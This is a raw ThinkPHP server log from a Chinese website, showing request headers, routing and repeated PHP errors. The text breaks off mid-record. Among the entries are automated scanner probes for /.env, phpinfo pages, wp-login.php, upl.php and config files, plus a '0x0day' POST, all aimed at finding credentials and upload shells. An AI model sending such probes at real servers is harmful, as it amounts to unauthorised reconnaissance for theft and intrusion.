(KHTML, like Gecko) Chrome/81.0.1817.95 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T03:51:27+08:00 ] 113.215.188.178 GET www.51tianwei.com/ [运行时间:0.001482s] [吞吐率:674.76req/s] [内存消耗:159.93kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.9229.29 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => 'www.51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T03:51:28+08:00 ] 113.215.188.178 GET www.51tianwei.com/ [运行时间:0.001449s] [吞吐率:690.19req/s] [内存消耗:159.93kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.3546.157 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => 'www.51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T03:51:28+08:00 ] 113.215.188.178 GET www.51tianwei.com/favicon.ico [运行时间:0.002337s] [吞吐率:427.90req/s] [内存消耗:132.87kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.3546.157 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => 'www.51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T04:23:38+08:00 ] 170.106.148.137 GET www.51tianwei.com/ [运行时间:0.026584s] [吞吐率:37.62req/s] [内存消耗:161.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-encoding' => 'gzip', 'accept-language' => 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', 'cache-control' => 'no-cache', 'connection' => 'keep-alive, close', 'pragma' => 'no-cache', 'upgrade-insecure-requests' => '1', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T04:24:05+08:00 ] 198.98.54.234 GET 59.110.137.245:80/command_port.ini [运行时间:0.002023s] [吞吐率:494.32req/s] [内存消耗:132.40kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'command_port.ini', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-23T04:29:19+08:00 ] 8.215.9.89 GET www.51tianwei.com/.env [运行时间:0.002372s] [吞吐率:421.62req/s] [内存消耗:132.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T04:29:26+08:00 ] 8.215.9.89 POST www.51tianwei.com/ [运行时间:0.001432s] [吞吐率:698.35req/s] [内存消耗:160.30kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '15', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( '0x' => array ( 0 => '0x0day', ), ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T04:29:30+08:00 ] 8.215.9.89 GET www.51tianwei.com/_profiler/phpinfo [运行时间:0.002441s] [吞吐率:409.68req/s] [内存消耗:132.96kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '_profiler', 2 => 'phpinfo', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T04:29:42+08:00 ] 8.215.9.89 GET www.51tianwei.com/karma.conf.json [运行时间:0.002296s] [吞吐率:435.55req/s] [内存消耗:132.93kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'karma.conf.json', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T04:29:48+08:00 ] 8.215.9.89 GET www.51tianwei.com/phpinfo.php [运行时间:0.002308s] [吞吐率:433.25req/s] [内存消耗:132.92kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'phpinfo.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T04:32:06+08:00 ] 205.210.31.35 GET / [运行时间:0.001593s] [吞吐率:627.70req/s] [内存消耗:160.50kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_HOST[/data/wwwroot/tianwei/think/runtime/route.php:34] --------------------------------------------------------------- [ 2024-10-23T04:48:31+08:00 ] 45.156.128.45 GET 59.110.137.245/ [运行时间:0.001849s] [吞吐率:540.85req/s] [内存消耗:159.89kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T04:52:32+08:00 ] 77.245.154.184 GET 51tianwei.com/wp-login.php [运行时间:0.005515s] [吞吐率:181.32req/s] [内存消耗:132.60kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wp-login.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/95.0', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:09:33+08:00 ] 123.57.13.121 GET www.51tianwei.com/ [运行时间:0.001524s] [吞吐率:656.18req/s] [内存消耗:159.98kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'host' => 'www.51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:09:48+08:00 ] 123.57.13.121 GET 51tianwei.com/ [运行时间:0.001447s] [吞吐率:691.10req/s] [内存消耗:159.97kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:12:42+08:00 ] 179.43.191.98 GET 59.110.137.245:80/ [运行时间:0.001525s] [吞吐率:655.67req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-23T05:16:05+08:00 ] 95.214.55.43 GET 59.110.137.245/ [运行时间:0.001488s] [吞吐率:672.06req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:43:37+08:00 ] 147.182.148.140 GET 59.110.137.245/ [运行时间:0.001704s] [吞吐率:586.86req/s] [内存消耗:159.89kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:43:37+08:00 ] 147.182.148.140 GET 59.110.137.245/form.html [运行时间:0.001017s] [吞吐率:983.42req/s] [内存消耗:140.32kb] [文件加载:26] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:43:38+08:00 ] 147.182.148.140 GET 59.110.137.245/upl.php [运行时间:0.002289s] [吞吐率:436.86req/s] [内存消耗:132.23kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'upl.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 